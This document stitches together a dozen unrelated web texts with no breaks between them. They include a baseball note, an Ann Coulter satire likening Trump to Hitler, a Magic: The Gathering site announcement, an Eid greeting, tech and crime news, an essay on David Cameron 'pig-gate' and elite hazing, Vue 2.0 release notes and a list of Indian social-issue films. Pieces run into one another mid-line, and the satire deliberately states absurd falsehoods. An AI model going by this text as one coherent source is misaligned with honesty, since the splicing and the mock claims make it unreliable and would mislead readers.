Fielder, 31, had a bounceback season for the Rangers last year. He ended the campaign with a.305/.378/.463 slash and 24 home runs after dealing with back issues in 2014. But that’s still a far cry from the huge stats he put up earlier in his career, and Fielder fell off rather noticeably in the second half.If you're into self-dramatization, Donald Trumps candidacy is perfect for you.
Half of the Washington political class is vowing to vote for Hillary -- even Stalin! -- over Trump; psychologists (and massage therapists) report they are treating patients for "Trump anxiety"; lengthy thought-pieces on Trump have no room to mention his signature issue, immigration, but get prolix on George Wallace, Mussolini and Hitler. (Never Mao, Stalin or Lenin, curiously.)
You're going to have to act quickly if you hope to be among the first 200 princesses to feel the pea under 15 layers of mattresses.
To save you time, I will provide the prototype. Do not be surprised if the following turns up, word for word, under the byline of David Brooks, Stephen Hayes, Cokie Roberts, every single writer for Salon, Gawker, National Review, Commentary and The Huffington Post. And then, of course, Fareed Zakaria will steal it.
** ** **
"J'accuse Donald Trump
Watching the candidacy of Donald Trump, I am continually struck by his resemblance to a man who came to power in a far-off land nearly 85 years ago, a historical epic that I had naively hoped was well buried in the past.
Consider the following:
-- Adolf Hitler held gigantic rallies, where he inspired millions with rousing speeches. Donald Trump holds gigantic rallies, where he inspires millions with rousing speeches.
-- Adolf Hitler talked about making his country great again. Donald Trump talks about making his country great again.
-- Adolf Hitler promised military victories. Donald Trump promises military victories.
-- Adolf Hitler had a loyal and overweight henchman, Hermann Goering. Donald Trump has a loyal and overweight henchman, Chris Christie.
-- Adolf Hitler blamed a specific group of immigrants for all the nation's problems (Ed: Jews weren't immigrants -- Close enough!). Donald Trump blames a specific group of immigrants for all the nation's problems.
-- Adolf Hitler vowed to build a wall (Shhhh! Nevermind!) Donald Trump vows to build a wall.-- Adolf Hitler was a teetotaler. Donald Trump is a teetotaler.-- Adolf Hitler had a hobby that he enjoyed very much (painting). Donald Trump has a hobby that he enjoys very much (golf).-- Adolf Hitler had an opulent home in the city as well as a country home, "The Berghof" in Berchtesgaden. Donald Trump has an opulent home in the city as well as a country home, "Mar-a-Lago" in Palm Beach.-- Adolf Hitler was involved with a woman from Central Europe, Eva Braun. Donald Trump is married to a woman from Central Europe, Melania Knauss.-- Adolf Hitler had a pact with the Soviet Union from 1939 to 1941; Donald Trump said nice things about Russian president Vladimir Putin.-- Adolf Hitler required all non-Jewish, German civilians to greet one another with a rigid right-arm salute, while exclaiming "Heil!" or "Heil Hitler!" Donald Trump has asked audiences to promise to vote for him by raising their hands, which is the PRECISELY same thing.-- Adolf Hitler was a vegetarian; Donald Trump has never smoked.-- Adolf Hitler forcibly annexed Czechoslovakia. Donald Trump tried to merge two casinos in Atlantic City.-- Adolf Hitler invested hundreds of millions of dollars on German aviation to upgrade the Luftwaffe. Donald Trump has invested hundreds of millions of dollars in private jets.-- Adolf Hitler never had any children, but if he had, they would probably have been blond. Both of Donald Trump's daughters are blond.-- Adolf Hitler's favorite food was liver dumplings, a dish very similar to meatloaf. (No one knows that.) Donald Trump's favorite food is meatloaf.-- Adolf Hitler had light hair and a moustache. Donald Trump has light hair and a moustache. (This has not been definitively established, but some who knew Trump in the 1970s recall that he had a moustache, albeit a fuller, longer one.)-- One of Adolf Hitler's idols was World War I fighter pilot Manfred von Richthofen, also known as "the Red Baron." Donald Trump's son is named Barron. (It's spelled differently, but sounds the same.)-- Adolf Hitler liked Eva Braun because she was very attractive; Donald Trump's wife, Melania, is very attractive.-- Adolf Hitler vowed to exterminate entire races; Donald Trump has vowed to exterminate ALL Mexicans and Central Americans. (Mr. Trump has yet to call for this, but if he had, it would be an amazing parallel and speak very ill of his character.)-- One of Adolf Hitler's favorite desserts, not his No. 1 favorite, but one he enjoyed several times a year, was chocolate ice cream. Donald Trump has talked about formerly liking Oreos. (Recently, he vowed never to eat Oreos again because Nabisco moved its factories to Mexico. This does not negate his previous position on the cookie.)-- Adolf Hitler was known for erecting concentration camps surrounded by walls to keep people out, particularly Mexicans. () Donald Trump wants to build a wall.-- Allowing Adolf Hitler to come to power was a horrible mistake for an entire nation; allowing Donald Trump to come to power will be a horrible mistake for an entire nation.In conclusion, [dramatic music plays] I have covered American politics for 30 years. For the first time in my life I am afraid for my country. Very afraid. Very, very afraid. Very, very, very afraid.COPYRIGHT 2016 ANN COULTERDISTRIBUTED BY UNIVERSAL UCLICKBlake is the content manager for DailyMTG.com, making him the one you should email if you have thoughts on the website, good or less good (or not good). He's a longtime coverage reporter and hasn't turned down a game of Magic in any format ever.
If you've been to DailyMTG.com anytime recently like, say, right now as you're reading this sentence, you might have noticed we've done some redecorating. While we're still patching some holes, adjusting some knobs, and futzing with the wiring, we're pretty happy with the website's new look, feel, and functionality. Trick Jarrett already spent some time introducing you to the new website, so I won't be spending any time on the redesign. Instead, I'll be covering a number of changes you'll notice on the site in the coming weeks, many of which I think will improve the reader experience significantly.
The first major change you're going to notice next week is the time that we publish DailyMTG.com articles every day. For years, we've published all of our content at 9 p.m. Pacific/12 a.m. Eastern, and much of the Magic publishing world has followed suit. However, Magic is a global game, and midnight on the East Coast of America is 1 a.m. in Rio de Janeiro, 5 a.m. in London, and 1 p.m. in Japan—not to mention that midnight isn't exactly prime reading time on the East Coast to begin with.
Chronostutter | Art by Seb McKinnon
Additionally, next Monday, July 7, we're launching the first week of a more localized DailyMTG.com. Starting on Monday and going forward, three columns will be translated into Japanese, German, French, Italian, and Spanish and simultaneously published with the English versions:
Making Magic by Mark Rosewater
Uncharted Realms, the weekly look into the lore and story of Magic
Latest Developments by Sam Stoddard
We've localized content in the past, but rarely for simultaneous publishing. We're excited to expand our content to Magic players in a variety of languages, and it only makes sense to recognize the globalization of our content by reexamining when that content is being published.
Furthermore, when we delved into why we updated at 9 p.m. Pacific/12 a.m. Eastern, it became apparent the reason was, more or less, because we always have. Magic is never a game to resist change, so we endeavor for our content to be willing to change for the right reasons as well. The globalization of Magic and the content here on DailyMTG.com are exactly the right reasons.
So, in recognition of all of that, as of next Monday, July 7, we'll begin publishing at 8 a.m. Pacific/11 a.m. Eastern. Around the world that means we'll be updated at:
Rio de Janeiro—Noon
London—4 p.m.
Berlin—5 p.m.
Japan—Midnight
We believe this change will give more readers a better opportunity to read our content when it suits them best and, for many of our readers, in the language they're most comfortable with.
But we've also got some exciting additions to what you'll all be reading in the coming months.
Before I made the trip to Renton to take over as editor-in-chief of DailyMTG.com, one of my favorite Magic strategy writers was Reid Duke. Reid's clarity, experience, knowledge of the game, and clean writing style made him a favorite of mine, and of many others around the world. When I finally made it up to the Wizards offices, getting in touch with Reid was one of the first things on my list of "big ideas."
So, I'm incredibly pleased to announce that Reid Duke will be taking over Level One in mid-August from the capably nimble fingers of Mike Flores. Duke is one of the best strategy writers and thinkers in the game today—not to mention fighting to be named Player of the Year—so having him teaching the next generation of Magic players how the game works is incredibly exciting.
Reid Duke
We'll also be introducing new columns in the coming months. The first batch will be centered around organized play, to be launched after Pro Tour Magic 2015. We're going to be pushing content that gives more insight into the tournaments that are happening every weekend around the world as well as providing viewing guides for the growing streamed video content that seem to dominate every Saturday and Sunday.
On the other end of the spectrum, we also have a pretty cool project coming in October for multiplayer fans out there during what we're dubbing our official Multiplayer Week. There's not much more I can say about it at this point, except that Bruce Richards and a number of others are working hard behind the scenes to create something you'll want to bookmark for a long time.
That's it for now, although trust me when I say I'm eager to cross more items off my big ideas list over the coming months and years. If you have any comments or thoughts, please feel free to email me or send me a message on Twitter. We welcome all feedback.Greeting You an Eid Mubarak
Bismillahir Rahmanir Raheem.
Assalamualaikum brothers and sisters in Islam. Selαmαt Hαri Rαyα Iedul Adhα 1433H
Before anything else, I would like to greet everyone an Eidl Adha Mubarak.
I could not go to the mosque today. But I do not have an excuse of not listening to khutba. So, I decided to listen to the khutba in the house instead on IKIM FM of Kuala Lumpur via radio. You can check it out here
I know. I have limited Malay. I cannot speak but I can somehow understand very little because it has similarities to my mother tongue - Sinug/Tausug. So, I had to really listen carefully. haha. And, at 11 pm, I will check out Makkah Live on Youtube to witness the prayer in Saudi Arabia too.
I've decided to create some photo greetings for all of you as well. These are photos of Sultan Hassanal Bolkiah Mosque in Kiulap, Brunei Darussalam.Today, we remember the sacrifice that Nabi Ibrahim has done in his obedience and love of Allaah. Islam is all about sacrifices. We have to fully submit ourselves to the Almighty. By doing so, we have to let go of worldly things. Letting go of such is already a sacrifice to all of us. By being a good Muslim, we have to see things with a different perspective. Just like how Nabi Ibrahim did, we should be able to do so too.It is not just the Qurban that you must do today for a sacrifice. The least of things that we can sacrifice is our pride and stoned heart. Forgive those who have hurt you. Ask forgiveness to those you have hurt. It is the least thing you can do today. Let go of that pride. Be humble in front of others. Do not cause hurt to others.I ask forgiveness to those I may have hurt unconsciously. And to those who have hurt me in the past, rest assured that I am not keeping a rage against you today and in the future.Allahumma Amiiin.Wassalam.Samsung’s display division has recently issued a registration for a brand new display entitled ‘Turtle Glass’, which could be an alternative to Gorilla Glass. Following a long collaboration with Corning it seems the two companies will part ways for now, and Turtle Glass could have many applications in Samsung’s TVs, watches and other products as well. It could be that Samsung plans on using Turtle Glass for the Galaxy S7 considering all the rumors that have emerged lately, and it will be interesting to compare with Gorilla Glass once we get our hands on it.
What’s interesting about this recent registration is that it matches the timing of other display rumors such as foldable displays and Project Valley. If we put these things together we could be seeing an exquisite project which will bring us a foldable smartphone with a really resistant display, which makes sense because such a design could easily get scratched or damaged. Samsung is also known for its fantastic quality of displays so something really good could come from combining all these things, but we’ll have to wait and see.
Via SourceHazmat crews are inside a Northwest D.C. home investigating the discovery of an unknown substance in a safe. Shomari Stone reports. (Published Monday, March 9, 2015)
A hazmat crew was called to a Northwest D.C. home Monday afternoon after the new homeowners discovered a suspicious substance in an old safe.
Authorities arrived at the home at 3736 Kanawah St. NW around 4 p.m.
D.C. Fire & EMS, assisted by an Army explosives team, removed several vials of powder and liquids from the home. The items were taken to a lab for testing.
Authorities said the home had recently been sold. The new owner called 911 after discovering the contents of a 40-year-old safe that had been left behind in the basement.
The homeowner said he found containers with a white, syrupy substance in the safe.
There were no evacuations and no injuries.
Authorities remained on the scene until about midnight.Mohammad Hafeez played the recent ODI series against New Zealand as a specialist batsman after his bowling action was found to be illegal © AFP
Pakistan allrounder Mohammad Hafeez has failed an unofficial test on his remodeled bowling action in Chennai. The result of the unofficial test means that the Pakistan Cricket Board may not apply for an official test of Hafeez's action and the allrounder could be picked in the World Cup squad as a specialist batsman.
During the test conducted at Sri Ramachandra University, Hafeez bowled 11 deliveries and of these the flex in six deliveries was above the 15-degree limit. The average flex in the deliveries bowled by Hafeez over the wicket was 16 degrees. Of the five deliveries bowled round the wicket by him, two had 17 and 19 degrees of flex respectively.
Hafeez, 34, had first been reported for a suspect action while playing for Lahore Lions in the Champions League T20, but that sanction did not apply to international cricket. He was reported again in November, during the first Test against New Zealand in Abu Dhabi. His action was found to be illegal in December and the ICC report said the analysis had shown that the flex for all his deliveries was above the 15-degree limit.
After the ODI series against New Zealand in the UAE, where he played as a specialist batsman, Hafeez traveled to Chennai to undergo remedial work on his action.
Hafeez was the second Pakistani offspinner, after Saeed Ajmal, to be suspended for an illegal action last year. Ajmal recently withdrew himself from the World Cup as his remodeled action needed further work before an official test.
Umar Farooq is ESPNcricinfo's Pakistan correspondent. @kalson
© ESPN Sports Media Ltd.Update: Yesterday’s image has been revealed, clearly confirming the return, or at least an appearance, of one of the original Black Ops’ lead characters, Sgt. Frank Woods. The tattoos on his arm are a dead giveaway.
Original Story: At last, we’ve managed to get a good look at the blurred poster boy that we’ve seen on many of the leaked Black Ops 2 promotional posters while yet another piece of Black Ops 2 intel hits the web.
Our friend, MrRoflWaffles, has recently sent in this picture, originally from KingJamesBallin, giving us a very clear shot of the poster boy found on many pieces of Black Ops 2’s promotional material:
Some very interesting things to note:
The Oakley military gloves he is wearing strongly suggest a contemporary setting for Black Ops 2.
The protection on his forearms isn’t your every-day, standard military armor either. Again, this suggests an either contemporary or futuristic setting.
The weapon he is holding, which we have yet to learn the name of yet, also looks rather high-tech with many attachment rails.
If you haven’t yet, check out yesterday’s Black Ops 2 voice actor tease and image reveal.
On to what the official Call of Duty website has for us today. We’re only a day away from the official May 1st reveal of Black Ops 2 but Treyarch has not finished having their fun yet. Another image teases us with a shot of a character’s arm who seems to be somewhat aged, also given away by the medals of distinction hung on the wall |
382-3000.
If you visit the Facebook page to learn more about the people who are missing, friends who are posting there have asked that you do not leave a comment with thoughts and sympathy. They are trying to keep the page clear and include only information about the missing, along with statements from people who are interested in helping.
Here are the names of the missing and those who died in the fire, as of the time of publication. The following names are from the Sheriff’s office, according to the event page, unless otherwise noted. Friends also put together a list of the missing on a Google Doc said they were only adding names if the person had RSVP’d to the event on Facebook and friends or family confirmed that they haven’t been able to locate them. The list is in alphabetical order by last name:
Friends of people who were at the fire have also created a Google Doc where they are adding information about the missing. You can read the document here for the latest updates.0 Police: Burglar found asleep on victim's couch holding knife
LAKE COUNTY, Fla. - A Mount Dora woman said she woke up to find an alleged burglar asleep on her couch and holding one of her kitchen knives.
The burglary suspect, 26-year-old Duane Immich, was booked into the Lake County Jail. According to police, Immich burglarized several nearby businesses before making his way into the woman's home.
"I was in my kitchen going to make coffee and I heard snoring," victim Judith Smolinski said.
Smolinski said she was immediately startled by the snoring because she lives alone.
"I walked in the living room and there was a strange man on my couch curled up, covered up with my blanket," Smolinski said.
It was Immich on her couch and he had broke in during the night after going on a burglary spree, according to investigators. Smolinski said the man even took a beer from her refrigerator before going to sleep on the couch.
"He had one open beer on my coffee table," Smolinski said.
Immich has a criminal history that includes arrests for grand theft, drug possession and aggravated assault. Smolinski didn't know if the suspect was armed until a police officer woke him up by removing the blanket.
"She discovered he had my butcher knife on his chest and he was holding it with one of his hands," Smolinski said.
Police said they found evidence on Immich that linked him to three other burglaries and a car break-in. He's being held at the jail with no bond.I’m going to try to do something perhaps unwise, perhaps impossible; I’m going to try to write something serious about David Cameron and “pig-gate”. I’m even going to abstain from porcine puns – because for all that this story is gleeful tabloid filth, I think that at its beating heart there is an important story about control, about authority and about the nature of power in modern Britain.
(If you’re in the dark regarding “pig-gate”, the details are relatively simple; billionaire tax exile and former Conservative party deputy chairman Lord Michael Ashcroft has co-written, with journalist Isabel Oakeshott, an unauthorised biography of David Cameron. It is not flattering, and includes allegations of drug-taking among other things, but the attention-grabbing assertion is that during an initiation ceremony for an Oxford student society, Cameron “put a private part of his anatomy” in the mouth of a dead pig – and that photographic proof of this deed exists.)
Previous revelations about Cameron’s behaviour as a student at Oxford – such as his participation in the restaurant-trashing Bullingdon Club, whose initiation rituals include burning a £50 note in front of a homeless person – have not harmed Cameron’s career much. Such antics are undoubtedly odious but are largely the kind of thing lapped up by those already ideologically opposed to him rather than the sort of story which hurts his base of support. How this latest revelation will play out, though, is tough to predict; it should not need to be said that cases of bestial necrophilia among leaders of major nations are uncharted territory.
The danger to Cameron’s career is that this makes him a laughing-stock, his public seriousness as a political leader forever deflated by the cat-calls and innuendos which will, undoubtedly, follow him for the rest of his life. A leader who becomes a political liability to their party is not long for their job; up until now, the security of Cameron’s position has been based on being the most likeable and statesmanlike of the Conservative front bench. For how long can a leader be followed around every public engagement by snorting noises, pig-related heckling and constant mockery before his party decides that he’s no longer suited to being its public face? This calculation is no doubt being pored over and debated at length by the Conservatives today. There will be those who point to sexual scandals of the past and point out that they blow over eventually, but I don’t know that those models can be applied to something so utterly visceral, so profoundly embarrassing and so downright grotesque. I don’t know if this kind of story, once attached to the person of a politician, ever goes away.
I suspect that David Cameron will limp on in 10 Downing Street, not least because he will understand the historic shame of being the Prime Minister who resigned over the thing with the pig, but his authority will be weakened to the point where a leadership challenge over a rather less intimate issue in the relatively near future will give him an opportunity to bow out with some grace. Whether this scandal is ultimately his undoing or not, it is clearly a calculated attack. Lord Ashcroft feels snubbed and sidelined by Cameron, who seemingly declined to offer him the cabinet position to which he felt entitled; the billionaire’s revenge is to dig up this singularly humiliating moment from the prime minister’s past and ensure that it is splashed on the front page of the Daily Mail, the preferred scurrilous tabloid rag of the very heartland of Conservative voters.
Lord Ashcroft, pollster and political guru in his own right, knows as well as anyone else what this will do. This is not a playful aside in a fun little unauthorised biography that he’s putting together as a hobby with his journalist pal, Oakeshott; this is a carefully targeted, focused attack designed to wreak career havoc upon, and cause huge personal embarrassment for, a man whom Ashcroft sees as disloyal, or as having stepped out of line. And here, I think, is something much bigger and more interesting than the scurrilous details of Cameron’s vivid indiscretion; here is a rare public example of how power is wielded by Britain’s elite, of how control is exerted over those they wish to manipulate, and of how those groomed for success from a young age can be destroyed should they be seen to diverge from the steps they’re told to dance.
Initiation ceremonies or “hazing” rituals, often of a painful, humiliating, transgressive or sexual nature, are a well-documented part of the culture of many organisations run by and for young men, especially those from positions of privilege or in elite institutions. Hazing is a fixture, albeit usually in less extreme form than many might imagine, of “greek life” at US colleges; initiation rituals of some description are relatively common in elite societies at top educational institutions elsewhere. Such rituals seem to be an especially important part of extremely disciplined groups such as certain military units. The primary social function served by these rituals is to accelerate and deepen the bonds shared by members of the group, and the sense of loyalty to the group each person holds. By committing transgressive acts together, members develop a sense of sharing in a mutual secret, thus instantly creating trust; by overcoming some humiliation or pain, new members deepen their commitment to the group, as their internal logic reasons that if they are willing to endure such an ordeal, it must mean that the group is important and deserving of loyalty (otherwise, they would have made a terrible mistake and gone through all of that suffering for nothing). Through these acts bonds are forged, networks established; the “old school tie”, used as a metaphor for Britain’s elite networks, is also a metaphor for the actions and rituals, transgressive or otherwise, which created those networks during the formative years of their members.
That much is somewhat understandable; in truth, few of us are not part of a “network” based in some way on the same psychology, even if our networks are perhaps less likely to involve prime ministers and billionaires. Bearing witness to one another doing embarrassing things, usually if not always under the influence of alcohol, is a fairly standard part of the socialisation process, especially for young men; it may not be quite as ritualised or organised as ceremonial events which require very specific orders from local butchers, but moments of embarrassment or transgression shared with close friends are a basic building block of many of our relationships.
The ritualised, sexually grotesque nature of Cameron’s initiation sets it apart somewhat, of course; but what’s also different about this kind of ritual in elite circles is the calculation behind it, the power and control it affords, and the self-perpetuating network of influence it creates. Consider this scenario; at elite institutions, those earmarked – by wealth, by title, by connections – for future leadership roles are forced, as impressionable young people, to carry out humiliating acts in order to gain acceptance by an in-group. That same in-group will, over the course of their lives, help advance their career massively in ways both overt and covert; membership of that group essentially secures their success in life. The cost of entry, paid by all members of the group, is participation in humiliating acts; acts which will forever wed them to the group, because should they later act in a way contrary to the group’s interests or desires, their “indiscretions” can be brought back to destroy their careers or personal lives.
Precisely this kind of model of control is sometimes operated by groups with a clear hierarchy – one could argue that Catholic confession is a variation on the model, and Scientology’s “auditing” is a very clear case of a system designed to ensure compliance by extracting humiliating personal information from its subjects and then holding that information over them in case of disobedience. Political and business elite networks are different; there’s no evidence of a shadowy cabal or secret Illuminati who run this kind of scheme among the elite of Britain (or the USA for that matter). There is no need for such conspiracy theories; this system is self-sustaining and decentralised. It’s in the interest of people in the group to promote the careers of their fellow group members, precisely because they have control through their knowledge of that person’s transgressive acts; similarly, it’s in the interest of that person to promote the careers of the other members for the same reason. It’s a community of mutual self-interest and reliance, bonded together by a Mexican stand-off of embarrassing private information. The structure survives and is passed down to successive generations of elite young men precisely because it is self-policing, self-sustaining and remarkably effective.
How serious are the acts we’re talking about here? Who knows, honestly; the punishment unleashed on Cameron for his “betrayal” of Ashcroft includes allegations of drug-taking, along with the lurid story about the pig, but nothing of terrible legal gravity; for all that conservative commentators like Louise Mensch look terrible for trying to defend Cameron today, there is some extent to which this behaviour is “youthful indiscretion”. Certainly it’s far less reprehensible than the “rituals” of other groups of elite young men which have included, among other vile things, the drugging and gang-rape of young women. Is this the most humiliating or illegal thing Cameron has done? I have no idea; I hope so, but regardless of his personal behaviour, it’s clear from other accounts of hazing, ritual intituation and in-group behaviour that the limits to the behaviour of young men desperate to cement their inclusion in a desirable social group are often shockingly low, and lowered even further by alcohol and drugs. The more transgressive, horrifying and illegal the act committed, the more the network “owns” its members. There’s a vast difference between distasteful student hijinks and truly horrible acts like rape, but the underlying logic of the network of control would only be strengthened, not undermined, by the increasing severity of the acts involved.
“Follow the money” is one of the most important exhortations to bear in mind for those investigating political power and influence, but not all control is financial. The control exerted by elite networks is based on long-standing trust and loyalty, but also, in some cases at least, by a black and rotten heart of what is, in effect, life-long blackmail. Britain’s establishment, at least in part, can be visualised (for those of strong stomach) as a group of powerful men standing close together, each with the balls of the man next to him held in a powerful grip. Michael Ashcroft just squeezed, very publicly indeed; yet his relevations, though tremendously damaging, may be tame indeed compared to what the friends and compatriots of some of our other political, media and business leaders just so happen to know about one another.What’s New in 2.0
Performance
Based on 3rd party benchmark, lower is better
The rendering layer has been rewritten using a light-weight Virtual DOM implementation forked from snabbdom. On top of that, Vue’s template compiler is able to apply some smart optimizations during compilation, such as analyzing and hoisting static sub trees to avoid unnecessary diffing on re-render. The new rendering layer provides significant performance improvements compared to v1, and makes Vue 2.0 one of the fastest frameworks out there. In addition, it requires minimal effort in terms of optimization because Vue’s reactivity system is able to precisely determine components that need to be re-rendered in a large and complex component tree.
It’s also worth mentioning that the 2.0 runtime-only build weighs at only 16kb min+gzipped, and totals at 26kb even with vue-router and vuex included, on par with the v1 core alone!
Render Functions
Despite the rendering layer overhaul, Vue 2.0 maintains a largely 1.0 compatible template syntax with only minor deprecations. The templates are compiled into Virtual DOM render functions under the hood, but the user can also opt to directly author render functions themselves when they need the flexibility of JavaScript. There is also optional JSX support for those who prefer it.
Render functions open up possibilities for powerful component-based patterns — for example, the new transition system is now completely component-based, using render functions internally.
Server-Side Rendering
Vue 2.0 supports server-side rendering (SSR) with streaming and component-level caching, making it possible to achieve blazing fast renders. In addition, vue-router and vuex 2.0 are designed to support SSR with universal routing and client-side state hydration. See it all working together in the vue-hackernews-2.0 demo app.
Supporting Libraries
The official supporting libraries and tools — vue-router, vuex, vue-loader and vueify — have all been updated to support 2.0. vue-cli now scaffolds 2.0-based projects by default.
In particular, vue-router and vuex have both received many improvements in their 2.0 versions:
vue-router
Multiple named <router-view> support
Improved navigation with the <router-link> component
Simplified navigation hooks API
Customizable scroll behavior control
More comprehensive examples
vuex
Simplified in-component usage
Better code organization with improved modules API
Composable async actions
See their respective 2.0 docs for more details:
Community Projects
The team at Ele.me, the biggest online food ordering platform in China, has already built a complete desktop UI component library with Vue 2.0. Unfortunately the docs do not have an English version yet, but they are working on it!
Many other community projects have also updated to be 2.0 compatible — check out awesome-vue and search for “2.0” on the page.We go to the movies expecting three hours of entertainment, some singing, dancing, action and comedy. And we come out of theaters feeling mildly satisfied that three hours were well spent in an air conditioned room with some fun.
But, there are a few times we feel a lot more than that. We feel a sense of having witnessed something historical, something that touches a deep chord. This is when we come across movies which leave a greater impact on the society. Some actually manage to change a couple of lives while some help to speed up pending justice, some fill you with emotional turmoil and some give your life a complete new direction.
Cinema has a great impact on people and the stars are the biggest influences. We try to be like them, look like them and behave like them. We all want our life to be a perfect film story. Cinema plays an important role in our lives, even more than we notice. Here is the list of 20 Indian movies which were much more than just entertainment. Movies that led to a bigger social impact-
1. Rang De Basanti
This movie needs no introduction. Rang De Basanti revolves around lives of a group of students who protest against the government and the fighter MIG planes used by the Air Force after the death of their friend in a plane crash. This thought-provoking movie created a huge impact socially with the candle lighting sequence which is often used in real life even now by citizens for protesting an issue.
The film left a social impact as many people came forward to talk about corruption and bureaucracy and their inefficiency in providing basic amenities. The film managed to strike the right chord and received huge success. The term “RDB effect” is often used while referring to instances of public activism on matters of public interest. (source) It gives inspiration to the youth of the country that even he/she can bring a change in the society.
2. Chak De India
Chak De india is one movie that played an important role in reviving popularity of hockey, especially women hockey in India. One of the finest performances by Shah Rukh Khan, Chak De! India talks about religion, sexism, India partition, regional prejudice, emotions and lot more through field hockey.
After a new hockey council was formed, former hockey player, Aslam Sher Khan, stated in an interview, “We have to make a Team India as you have seen in bollywood blockbuster Chak De! India. There are players from several parts of the country. We have to unite them to make a powerful force.” (Source). Chak De! India was granted tax exemptions by the state of Bihar.
Here’s a scene that will jog your memory!
[embedvideo id=”s4wLYOGi148″ website=”youtube”]
3. Taare Zameen Par
Whenever parents see their child scoring low in exams, they blame it on his carelessness and ask him to pay more attention to his studies. The child is sometimes grounded, isn’t allowed to watch tv or play his favourite video game so that he could concentrate more on his career. Hardly do we notice that it can be much more than just carelessness from the child’s side.
The movie beautifully captures life of Ishaan, a dyslexic kid who struggles everyday to do simple things of life. As simple as tying a shoe lace. It spread a message to all those families who want their kid to excel in everything – every kid is different and has different needs.
Here’s a clipping that will remind you of the movie’s sheer beauty.
[embedvideo id=”U3h4LmkX4lw” website=”youtube”]
4. 3 idiots
Picture source
The revolutionary movie that gave a whole new twist to the Indian education system. The movie gives a message that education doesn’t require money, uniform, big schools and colleges, all it requires is the strong will to study. The story also focuses on how the education system should look beyond high grades and should focus on what a kid wants to do.
Released in 2009 and directed by Raju Hiraani, the film stars Amir Khan, Kareena Kapoor, R. Madhavan, Sharman Joshi, Omi vaidya and Boman Irani. The film broke all opening box office records in India. The film also uses real inventions by little-known people in India’s backyards, and has won 40 accolades.
A lot of us might remember this scene where Aamir Khan tries to define a machine:
[embedvideo id=”C86pLho1hlE” website=”youtube”]
5. Swades
Picture Source
A fine performance by Shah Rukh Khan, the movie focuses on the issue of brain drain and Indians moving abroad for greener pastures. The story revolves around the life of an NRI who works for NASA and how his visit to a village changes his life along with hundreds of other villagers. The movie inspired a lot of NRIs to come back to the roots and work for the country. The movie gives a message that a little help from the fortunate and educated ones can help the underprivileged to a great extent.
Here is the brilliant scene when Shah Rukh Khan tries to generate electricity:
[embedvideo id=”u1F-6GmhvIE” website=”youtube”]
6. Prem Rog
Picture source
The movie focuses on the sensitive topic of widow remarriage. Released in 1982, the movie has Rishi Kapoor (Devdhar) and Padmini Kolhapure (Manorama) as lead actors. Devdhar tries to revive the life of his childhood friend Manorama after she loses her newly wed husband. At the time of a conservative India, when widows were boycotted from the community and were expected to spend the rest of their lives in misery, the movie comes as a breath of fresh air and portrays a better life for a widow.
7. OMG! Oh My God
Picture source
India is a religious country. With 330 millions Gods to worship, it has become a business for some.The movie released in 2012 starred Akshay Kumar, Paresh Rawal and Mithun Chakravborty. In spite of touching on a sensitive subject, the movie received a great response from both audience and critics. Without being preachy and boring, the film teaches us how we should not look for God in idols and be blind-folded by those who try to play with people’s emotions in the name of God.
8. Damini
The story is of how a woman fights against society for justice. The film is considered to be the best woman-centric film ever made in Bollywood along with Mother India. Extra ordinary performance by Sunny Deol as a lawyer won him a National award that year. Meenakshi Sheshadri portrays the role of a strong woman who fights against her own family for raping the house maid.
9. Udaan
The film was officially selected to compete in the Un Certain Regard (A Certain Glance) category at the 2010 Cannes Film Festival. Udaan was first Indian film to be part of Cannes’ official section in seven years. Udaan tells the story of thousands of youths from India’s middle-class families, who want to break free and follow their dreams.
10. Black Friday
The film is based on the 1993 serial bomb blasts in Mumbai which many believe were organised as retaliation for the Bombay riots which left over 300 people dead and more than 1500 people injured. The film has been appreciated by critics all over the world.
Written and directed by Anurag Kashyap and based on a a book by S. Hussain Zaidi, this movie was not allowed to be released by the Indian censor board for 2 years!
11. Achhoot Kanya
This 1936 film deals with the social position of Dalit girls and is considered a reformist period-piece. The story portrays a love story of a Brahmin Boy and a Harijan (Untouchable) girl. At the time when people were discriminated on the basis of their caste, this movie sets a good example of how every human being is equal and love knows no boundaries.
12. Pakeezah
The movie focuses on prostitution as a career and changed the way people looked at the profession. It tried to show the inside world of sex workers and their lives and tragedies in a different era from today, when they were looked at very differently.
Featuring the legendary tragedy actress Meena Kumari, the film has attained a sort of cult status due to its amazing direction, haunting dialogues, outstanding performances and soul-stirring music. Meena Kumari died within weeks after the release of the film, which took 14 years to shoot.
13. Matrabhoomi: A nation without women
The movie based on the social issue of female foeticide, showcases the future of the country if we keep killing the girl child. There are still many places where a boy’s birth is rejoiced while a girl child is killed. The movie revolves around the story of a girl who is married to five brothers. The movie portrays the glimpse of the cruel society and leaves a message of saving a girl child.
14. Kya Kehna
The film dealt with the taboo issue of pre-marital pregnancy and the views of society. No matter how much the country progresses, there are certain things which still cause raised eyebrows. And, pre-marital pregnancy is one of those issues. The movie starring Preity Zinta and Saif Ali Khan focuses on this bold issue and spread a message of how unmarried pregnant girls should be given equal love, respect and support in the society.
15. Dor
The story based on the lives of two women and how fate brings them together. The film beautifully captures the emotions of a widow (Meera) and a lady (Zeenat) who is trying to save her husband. The movie also portrays the life of a woman in India after the death of her husband and the difficulties faced by her. The extra ordinary performances by Ayeesha Takia, Gul Panag and Shreyas Talpade is the USP of the film.
16. Vicky Donor
Vicky Donor touched upon a less talked about topic of sperm donation. The film is a romantic comedy based on the backdrop of this sensitive subject and its implications. The story revolves around Vicky’s(Ayushmann Khurrana) life and how his life takes interesting twists and turns when a fertility expert persuades him to donate sperms. John Abraham, producer of the film wanted to shed light on a serious issue still considered “taboo” in Indian society. Shoojit Sircar, director of the film researched about the subject for three years to avoid any possibility of going wrong with this taboo attached to infertility and artificial insemination.
17. Lajja
This powerful film is based on the plight of women in India. The movie satirizes the honour with which women are placed in society and the restrictions on them. The four women’s names (Maithili, Janki, Ramdulaari, and Vaidehi) being all versions of Sita, the ideal Hindu woman’s name, is a message in itself. The film features some of the most powerful ladies of Indian cinema. The movie showcases victory of women against all the bad that society has done to them.
18. My Brother Nikhil
The movie deals with the stigma associated with HIV/AIDS as well as the coming out of a closeted gay relationship. The film was highly appreciated world-wide.
The film director stated that the film is based on true historical fact, and the standard disclaimer about fictitious content was just a compromise with the Indian government to gain permission to make the film.
19. Mother India
Dealing with the social and cultural changes taking place in India shortly after independence, Mother India had a powerful impact on the citizens of India. Nargis portrayed the character of the a widowed Indian woman who raises her kids with much difficulty. The movie focuses on the power of “good” as the mother kills her own son when he crosses the line and goes on a wrong path.
Mother India was nominated at the Academy Awards for the best foreign language film category.
This clipping from the film reminds us why it is considered an epic:
